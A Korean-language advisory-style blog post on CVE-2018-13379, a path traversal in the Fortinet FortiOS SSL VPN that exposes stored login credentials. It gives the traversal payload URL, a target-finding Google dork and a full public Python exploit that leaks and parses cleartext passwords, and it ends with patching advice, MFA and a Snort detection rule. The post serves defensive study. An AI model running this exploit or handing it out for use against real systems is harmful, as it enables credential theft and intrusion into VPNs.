1. Fortinet SSL VPN

- Fortinet : 보안 솔루션을 개발 및 판매하는 다국적 기업

- SSL VPN : SSL(Secure Socket Layer) 기술을 사용한 VPN 솔루션으로 웹 서버와 클라이언트간의 안전한 통신을 위해 보안을 제공하는 프로토콜

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2018-13379

- Fortinet 제품에서 입렵값에 대한 검증을 적절히 수행하지 않아 특정 경로, 파일에 접근 가능한 취약점

- 취약점이 발생하는 제품 및 버전은 다음과 같으며, SSL VPN이 활성화된 경우에만 영향을 받음

제조사 제품 버전
Fortinet FortiOS 6.0.0 ~ 6.0.4
5.6.3 ~ 5.6.7
5.4.6 ~ 5.4.12
FortiProxy 2.0.0
1.2.0 ~ 1.2.8
1.1.0 ~ 1.1.6
1.0.0 ~ 1.0.7

 

2.1 분석

- “/remote/fgt_lang?”페이지 호출 시 lang 매개변수의 필터링을 제대로 수행하지 못해 발생하는 취약점

- 공격자는 lang 매개변수에 디렉터리 이동문자 "../"를 이용해 sslvpn_websession 등의 파일에 접근

- sslvpn_websession : 로그인 자격증명이 저장된 파일

Payload : Target IP/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession

 

[사진 1] KISA 2021년 상반기 사이버 위협 동향 보고서.pdf 발췌

 

- [사진 1]의 요청을 통해 공격자에게 사용자의 ID/Password가 노출되며, 해당 계정정보를 통해 로그인이 가능

[사진 2] sslvpn_websession 파일 내용 노출 (ID/Password 유출)

2.2 PoC

- /remote/fgt_lang 페이지의 lang 매개변수에 ../를 삽입해 특정 경로, 파일 등에 접근

# Exploit Title: Fortinet FortiOS Leak file - Reading login/passwords in clear text.
# Google Dork: intext:"Please Login" inurl:"/remote/login"
# Date: 17/08/2019
# Exploit Author: Carlos E. Vieira
# Vendor Homepage: https://www.fortinet.com/
# Software Link: https://www.fortinet.com/products/fortigate/fortios.html
# Version: This vulnerability affect ( FortiOS 5.6.3 to 5.6.7 and FortiOS 6.0.0 to 6.0.4 ).
# Tested on: 5.6.6
# CVE : CVE-2018-13379

# Exploit SSLVPN Fortinet - FortiOs
#!/usr/bin/env python
import requests, sys, time
import urllib3
urllib3.disable_warnings()


def leak(host, port):
	print("[!] Leak information...")
	try:
		url = "https://"+host+":"+port+"/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
		headers = {"User-Agent": "Mozilla/5.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}		
		r=requests.get(url, headers=headers, verify=False, stream=True)
		img=r.raw.read()
		if "var fgt_lang =" in str(img):
			with open("sslvpn_websession_"+host+".dat", 'w') as f:
				f.write(img)		
			print("[>] Save to file ....")
			parse(host)
			print("\n")
			return True
		else:
			return False
	except requests.exceptions.ConnectionError:
		return False
def is_character_printable(s):
	return all((ord(c) < 127) and (ord(c) >= 32) for c in s)

def is_printable(byte):
	if is_character_printable(byte):
    		return byte
  	else:
    		return '.' 

def read_bytes(host, chunksize=8192):
	print("[>] Read bytes from > " + "sslvpn_websession"+host+".dat")
	with open("sslvpn_websession_"+host+".dat", "rb") as f:
    		while True:
        		chunk = f.read(chunksize)
        		if chunk:
          			for b in chunk:
            				yield b
        		else:
          			break
def parse(host):
    print("[!] Parsing Information...")
    memory_address = 0
    ascii_string = ""
    for byte in read_bytes(host):
    	ascii_string = ascii_string + is_printable(byte)
	if memory_address%61 == 60:
		if ascii_string!=".............................................................":
	    		print ascii_string
	    	ascii_string = ""
	memory_address = memory_address + 1

def check(host, port):
    print("[!] Check vuln...")
    uri = "/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
    try:
        r = requests.get("https://" + host + ":" + port + uri, verify=False)
        if(r.status_code == 200):
            return True
        elif(r.status_code == 404):
            return False
        else:
            return False
    except:
        return False
def main(host, port):
    print("[+] Start exploiting....")
    vuln = check(host, port)
    if(vuln):
        print("[+] Target is vulnerable!")
        bin_file = leak(host, port)
    else:
        print("[X] Target not vulnerable.")

if __name__ == "__main__":

    if(len(sys.argv) < 3):
        print("Use: python {} ip/dns port".format(sys.argv[0]))
    else:
        host = sys.argv[1]
        port = sys.argv[2]
        main(host, port)

 

3. 대응

3.1 서버측면

① 취약점 패치 적용

- Fortinet은 취약점 패치 적용 전까지 SSL-VPN을 사용하지 않을것을 권고

 

② 비밀번호 변경

- 이미 취약점에 노출되어 계정정보가 유출되었을 가능성이 있으므로 계정정보를 변경

 

③ MFA 적용

- 계정 외에도 인증할 수 있는 추가 수단을 적용하여 MFA 구현

 

3.2 네트워크 측면

① 탐지 룰 적용 및 모니터링, 차단

- 공개된 PoC를 통해 /remote/fgt_lang?lang 이하의 URL로 접근이 확인되므로 해당 문자열을 탐지

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"FortiOS SSL VPN Directory Traversal";content:"/remote/fgt_lang?lang";)

 

4. 참고

- https://www.fortiguard.com/psirt/FG-IR-18-384

- https://www.boho.or.kr/data/secNoticeList.do?page=1&sort_code=&sort_code_name=&search_sort=display_contents&search_word=CVE-2018-13379 

- https://krcert.or.kr/data/reportView.do?bulletin_writing_sequence=36146 

- https://www.codetd.com/ko/article/7028571

+ Recent posts